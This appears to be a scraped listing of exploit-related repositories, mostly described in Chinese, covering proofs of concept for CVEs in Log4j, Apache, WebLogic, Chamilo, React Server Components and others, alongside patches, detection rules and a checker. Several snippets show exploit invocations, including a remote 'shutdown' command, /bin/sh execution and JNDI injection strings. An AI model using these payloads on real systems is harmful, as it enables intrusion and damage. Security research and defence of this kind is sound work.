Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit Este es un Exploit para la subida de archivos sin restricciones en la funcionalidad de subida de archivos grandes en Chamilo-LMS en esta ubicación /main/inc/lib/javascript/bigupload/inc/bigUpload.php en Chamilo LMS = v1.11.24, y los atacantes pueden obtener...

hotpatch-for-apache-log4j2

Log4jHotPatch 这是一个将 Java agent 注入到正在运行的 JVM 进程中的工具。该 agent 会尝试修补所有已加载的 org.apache.logging.log4j.core.lookup.JndiLookup 实例的 lookup 方法，使其无条件返回字符串 "Patched JndiLookup::lookup"。该工具旨在解决 CVE-2021-44228 中披露的 Log4j 远程代码执行漏洞，而无需重启 Java 进程。该工具同样可用于解决 CVE-2021-45046。 目前仅在 Linux 上使用 JDK 8、11、15 和 17 进行过测试！ 构...

CVE-2023-30459

CVE-2023-30459 SmartPTT SCADA 1.1.0.0 允许远程代码执行（当攻击者具有管理员权限时），通过编写恶意C脚本并在服务器上执行（默认通过管理员控制面板的服务器设置，端口8101）。 使用方法： python CVE-2023-30459.py -t 127.0.0.1 -p elcomplus -cmd "shutdown /s /t 30" PoC：...

freeswitch_rce

version: 由于 freeswitch 通常以高权限运行，因此也可以实现权限提升的效果...

CVE-2021-41773_CVE-2021-42013

Apache HTTP Server 2.4.49, 2.4.50 - 路径遍历与远程代码执行 漏洞利用作者: Lucas Souza https://ls4ss.github.io/ 厂商主页: https://apache.org/ 版本: 2.4.49, 2.4.50 测试版本: 2.4.49, 2.4.50 CVE编号: CVE-2021-41773, CVE-2021-42013 致谢: Ash Daulton 和 cPanel 安全团队 用法 ./PoC.sh targets.txt /etc/passwd ./PoC.sh targets.txt /bin/sh "id"...

log4j-shell-csw

Log4j 简易漏洞利用工具 针对 CVE-2021-44228 漏洞的概念验证型漏洞利用工具。 Log4j 用于记录安全和性能信息，影响范围覆盖超过 30 亿使用 Java 的设备，涉及各类消费级和企业级服务、网站和应用程序，以及医疗设备和配套系统。 注意：这不是“一键点击”型漏洞利用工具。初始触发载荷将被生成，但将其注入到合适位置（如 HTTP 头/聊天框/等）将由用户自行完成。 先决条件 python3 pip install -r requirements.txt 安装 jdk1.8.020 并将 bin 文件夹添加到环境变量 usage: python...

CVE-2023-24100

CVE-2023-24100-Nuclei-Templates IoT RCE nuclei 模板 CVE-2023-24100 CNVD-2023-24100...

CVE-2021-44228-Demo

CVE-2021-44228-Demo 利用 CVE-2021-44228，通过 RMI 和 LDAP 两种方式远程注入代码的示例。 Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer 和 LdapServer 启动依赖 Python3。 参考 Apache...

CVE-2020-14756

CVE-2020-14756 WebLogic T3/IIOP 远程代码执行 ExternalizableHelper.class（来自 coherence.jar） 说明 项目基于 https://github.com/Y4er/CVE-2020-2555 和 weblogiccmd 已在 12.2.1.4.0 和 JDK 1.8.0221 上测试 参考 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2. https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ...

CVE-2023-33669

CVE-2023-33669 漏洞利用 针对 Tenda AC8 路由器中栈溢出漏洞的利用程序，专门针对固件版本 USAC8V4.0siV16.03.34.06。 官方产品页面。 模拟 您可以将 'prepare.sh' 文件放在固件的根目录下并执行它。另外，为了实现 RCE，您需要设置 tftp 服务器并将 'nc' 文件放到 /tftpboot 中。 https://github.com/user-attachments/assets/0eef4f92-074a-4b41-845c-5cfb18309409 此漏洞利用程序仅供教育目的...

motionEye-RCE-through-config-parameter

MotionEye 通过绕过客户端验证实现远程代码执行（RCE） 摘要 在对运行在 Docker 中的 MotionEye 实例进行安全测试时，发现其 Web 界面中的客户端验证可以被绕过。这允许提交任意输入，包括可在宿主容器中触发执行的载荷。该漏洞如果被利用，存在远程代码执行（RCE）的风险。 受影响版本 ：包括 0.43.1b4 在内的所有版本 补丁状态 ：目前尚无可用补丁。本公告中提供了一种临时解决方案。 项目引用 ：https://github.com/motioneye-project/motioneye CWE ：CWE-20、CWE-78、CWE-116 CVSS...

Log4Shell_CVE-2021-44228_related_attacks_IOCs

Log4Shell（CVE-2021-44228）related attacks IOCs 源IP使用Apache Log4j RCE尝试攻击，其中包含很大部分Tor节点，详见Attack-IP.md 利用log4j漏洞传播的恶意程序、Botnet等IOC详见IOC-C2.md Snort检测规则详见Snort.md Suricata规则详见Suricata.md...

DVS

DCOM Vulnerability Scanner 又名 狡猾的瑞士军刀 - 使用DCOM对象进行横向移动 你是否曾经思考过如何在内部网络中横向移动？或者如何在不被EDR察觉的情况下与远程机器交互？ 假设我们拥有有效凭证，或者有一个可访问远程机器的活跃会话，但我们无法通过已知、预期或高度监控的方法（例如WMI、任务计划程序、WinRM、PowerShell远程处理）远程执行进程。 对于这些场景，DVS框架可以派上用场。 DVS框架是一把瑞士军刀，它允许您枚举远程DCOM对象的脆弱函数、启动它们，甚至使用它们发起攻击。 该框架以“红队”思维开发，采用隐蔽方法攻陷远程机器。...

CVE-2022-24112-POC

CVE-2022-24112-POC Apache APISIX 2.12.1 远程代码执行，通过绕过IP限制并使用默认管理API令牌 完整指南 https://kavigihan.medium.com/apache-apisix-2-12-1-remote-code-execution-5f920b22ccff...

cve-2025-55182-test-lab-windows

CVE-2025-55182 React2Shell 测试 ⚠️ 警告 : 包含实际可用的远程代码执行RCE漏洞。 📋 目录 概述 漏洞信息 快速开始 实际攻击演示 测试环境 WAF防御规则 文件结构 参考资料 法律声明 概述 CVE-2025-55182 React2Shell 漏洞测试的容器测试环境。 主要特点 ✅ 真实漏洞复现 - React 19.1.0 / Next.js 15.1.0 环境 ✅ RCE攻击成功 - 已确认实际命令执行 ✅ WAF防御测试 - NGINX及Apache ModSecurity规则配置 ✅ 补丁版本对比 - 有漏洞版本 vs 已修补版本测试 ✅...

CVE-2026-41089

CVE-2026-41089 — Windows Netlogon CLDAP Stack Buffer Overflow RCE Exploit CVE-ID: CVE-2026-41089 CVSS: 9.8 Critical CWE: CWE-121 Stack-based Buffer Overflow 攻击向量: UDP/389 CLDAP SearchRequest 影响: 远程代码执行 RCE / 拒绝服务 DoS 受影响版本: Windows Server 2012 R2 2025 Domain Controllers 补丁: 2026年5月累积更新 漏洞概述...

React2Shell_cve-2025-55182

React Server Components RCE - CVE-2025-55182 你好！希望你今天过得愉快！😊✨ 这是什么？ React Server Components 版本 19.0.0 、19.1.0 、19.1.1 和 19.2.0 存在一个严重的安全问题。受影响的包包括 react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack。 问题在于服务器以不安全的方式读取请求中的数据。攻击者可以发送特殊数据，从而在服务器上执行他们的命令。 概念验证 - 完整攻击示例...

react-cve-2025-55182

fix-react2shell Una herramienta CLI para detectar y corregir la vulnerabilidad crítica CVE-2025-55182 React2Shell en React Server Components y aplicaciones Next.js. La Vulnerabilidad CVE-2025-55182 es una vulnerabilidad crítica CVSS 10.0 de ejecución remota de código no autenticada que afecta a:...

CVE-2019-5420

CVE-2019-5420 Ruby on Rails 提供三种不同的运行环境：开发、测试和生产。显然，你不应该让开发或测试环境中的代码暴露在互联网上，但这种情况（和往常一样）确实会发生（例如在预发布环境中）。 Ruby on Rails 使用“签名会话”（signed-sessions）来让用户轻松扩展应用。随着时间的推移，会话处理方式发生了变化。到 5.2.2 版本，会话默认使用 AES GCM（aes-256-gcm）保护的 JSON 编码数据。 CVE-2019–5420...

CVE-2024-4577-checker

CVE-2024-4577 漏洞检查器 CVE-2024-4577 漏洞检查器是一个 Bash 脚本，用于扫描多个域名中是否存在 PHP-CGI 的 CVE-2024-4577 漏洞。该工具允许安全研究人员和系统管理员快速评估其系统或域名列表是否可能受到此特定安全问题的影响。 描述 在 PHP 8.1. 版本（早于 8.1.29）、8.2. 版本（早于 8.2.20）、8.3. 版本（早于 8.3.8）中，当在 Windows 上使用 Apache 和 PHP-CGI 时，如果系统设置为使用某些代码页，Windows 可能会使用“最佳匹配”行为来替换传递给 Win32 API...